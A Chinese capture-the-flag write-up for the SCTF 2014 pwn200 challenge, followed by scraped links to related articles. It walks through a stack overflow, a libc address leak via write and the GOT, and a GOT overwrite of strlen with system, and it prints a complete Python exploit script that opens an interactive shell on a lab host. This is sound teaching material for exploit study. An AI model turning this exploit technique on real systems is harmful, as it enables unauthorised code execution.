sctf pwn200
题目给出了pwn200和libc.so。使用IDA查看程序,发现逻辑很简单。
使用checksec查看pwn200的安全属性,如下图:
发现NX enabled,No PIE。
在第一次读(0x08048524位置)的时候,可以读取17个字节,观察栈结构:
发现可以将nbytes覆盖,可以覆盖为0xff。
在第二次读(0x08048596位置)的时候,可以覆盖程序的返回地址至“08048507 call _write”,并且构造栈参数(为了泄露库函数的虚拟地址)。如下:
这样程序一返回(080485C1 retn)就执行write库函数,通过GOT泄露出某个库函数(这里可以泄露read的虚拟地址)的虚拟地址,从而通过IDA查看libc.so中system的位置和read的位置差,可以计算出system的虚拟地址。
紧接着会第三次读(0x08048524位置),这个读到内存的位置是:ebp+buf即ebp-0x1C,那么我们可以通过在第二次读的时候构造理想的ebp,使得我们能够将覆盖GOT中strlen库函数的虚拟地址,覆盖为system的虚拟地址;同时,将buf开始处存储/bin/sh。这样在进行接下来的strlen函数调用时,相当于执行system("/bin/sh"),因此获得shell。
exploit是来自http://www.imsebao.com/。思路很清晰,我稍加注释。
from socket import *
from struct import *
import time #remote
'''
readOffset = 0x000de3a0
systOffset = 0x0003f430
'''
#local
readOffset = 0x000bdd20
systOffset = 0x00039100 param = '/bin/sh\x00' + 'ls home' + 'a'*5#'ls home' and 'a'*5 are paddings so that to override 0x08049858
#0x08049858 is strlen's address s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.200.7', 10001))
#construct name,override nbytes to \xff
name = 'syclover'+ '\x00' + 'abcdefg' + '\xFF'
# input name:
print s.recv(1024)
s.send(name) showReadGot = 'A'*156
showReadGot += pack('<I', 0x08049860)#why 0x08049860? we want to override 0x08049858 to syst
showReadGot += pack('<I', 0x08048507)#override ret to call write
showReadGot += pack('<I', 1)#stdout
showReadGot += pack('<I', 0x08049850)#src,read's got
showReadGot += pack('<I', 4)#num
# input slogan:
print s.recv(1024)
s.send(showReadGot) read = s.recv(1024)[-4:]#leak read's virtual address in process
viraddr_read = unpack('<I', read)[0]
print 'viraddr_read: %x' % viraddr_read
syst = viraddr_read - readOffset + systOffset
print 'system: %x' % syst exploit = param + pack('<I', syst)
s.send(exploit) while True:
s.send(raw_input('$ ') + '\n')
time.sleep(0.5)
print s.recv(1024)
总体思路,信息泄露(通过write)获取system的线性地址;任意地址写(通过read)修改GOT中strlen库函数的地址为system的线性地址。
sctf pwn200的更多相关文章
- SCTF 2014 pwn题目分析
因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...
- 上海ctf2017 pwn100 && pwn200
前言 分析的 idb 文件在这: https://gitee.com/hac425/blog_data/tree/master/shanghaictf pwn100 程序是一个经典的 堆管理程序,基本 ...
- pwn-200
题目连接 https://adworld.xctf.org.cn/media/task/attachments/49bd95c78386423997fa044a9e750015 借鉴 https:// ...
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- [RCTF]Pwn200 wp
0x00: XCTF开赛了,只看了pwn,这次还比较有意思,有x86 x64 arm mips 多种cpu构架的pwn.自己只搞出了pwn200 0x01: 基本信息: x64 动态链接 有调试符 ...
- pwn200,一道不完全考察ret2libc的小小pwn题
pwn200 ---XDCTF-2015 每日一pwn,今天又做了一个pwn,那个pwn呢???攻防世界的进阶区里的一道小pwn题,虽然这个题考察的知识不多,rop链也比较好构建,但是还是让我又学到了 ...
- SCTF 2018_Simple PHP Web
SCTF 2018_Simple PHP Web 进入环境注意观察url http://www.bmzclub.cn:23627/?f=login.php 有点像是文件读取我们尝试读一下/etc/pa ...
- sctf pwn400
这个题目在这个链接中分析得很透彻,不再多余地写了.http://bruce30262.logdown.com/posts/245613-sctf-2014-pwn400 exploit: from s ...
- sctf pwn300
拿到程序后,拉入IDA,大概看了一番后,尝试运行,进一步了解程序的功能. 发现NX enabled,No PIE. 一号是一个猜数字的游戏,二号是一个留言本,三号是打印出留言的内容,四号是退出. 观察 ...
随机推荐
- Linux 上的数据可视化工具
Linux 上的数据可视化工具 5 种开放源码图形化工具简介 Linux® 上用来实现数据的图形可视化的应用程序有很多,从简单的 2-D 绘图到 3-D 制图,再到科学图形编程和图形模拟.幸运的是,这 ...
- mfc窗口,父窗口parentwindow,所有者窗口ownerwindow 区别
一. parent:创建者,owner:所有者 小玉的父母生下小玉,养到8岁,卖给贾府当丫头小玉的父母是parent,贾府是owner 二. 1.Pop-up窗口: 一个弹出窗口是必须具有WS_POP ...
- OSCHina技术导向:Java电子商务平台OFBiz
OFBiz 是开放的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级.跨平台.跨数据库.跨应用服务器的多层.分布式电子商务类WEB应用系统的框 ...
- 【HDU 4771 Stealing Harry Potter's Precious】BFS+状压
2013杭州区域赛现场赛二水... 类似“胜利大逃亡”的搜索问题,有若干个宝藏分布在不同位置,问从起点遍历过所有k个宝藏的最短时间. 思路就是,从起点出发,搜索到最近的一个宝藏,然后以这个位置为起点, ...
- C++中的动态类型与动态绑定、虚函数、运行时多态的实现
动态类型与静态类型 静态类型 是指不需要考虑表达式的执行期语义,仅分析程序文本而决定的表达式类型.静态类型仅依赖于包含表达式的程序文本的形式,而在程序运行时不会改变.通俗的讲,就是上下文无关,在编译时 ...
- hdu 4712 Hamming Distance ( 随机算法混过了 )
Hamming Distance Time Limit: 6000/3000 MS (Java/Others) Memory Limit: 65535/65535 K (Java/Others) ...
- JS中的逻辑哲学
1.幻灯片播放. 有重用功能的代码要封入一个函数内,尽量减少调用出口(一般传入的参数为索引值),以便调用: 计数器放在最终调用的函数那里,index++: 明确那部分函数执行什么功能,将代码块只放在相 ...
- 安卓开发之RecyclerView
RecyclerView是一个非常好用的控件,它的效果和ListView很相似,甚至可以说RecyclerView的出现是来取代ListView的 RecyclerView比ListView更加灵活, ...
- 关于ECharts Java类库的一个jquery插件
在项目中开发图表功能时用到了Echars和一个关于Echars的java类库(http://git.oschina.net/free/ECharts).这个类库主要目的是方便在Java中构造EChar ...
- zookeeper_04:curator
定义 Curator是Netflix公司开源的一个Zookeeper客户端,与Zookeeper提供的原生客户端相比,Curator的抽象层次更高,简化了Zookeeper客户端的开发量. <d ...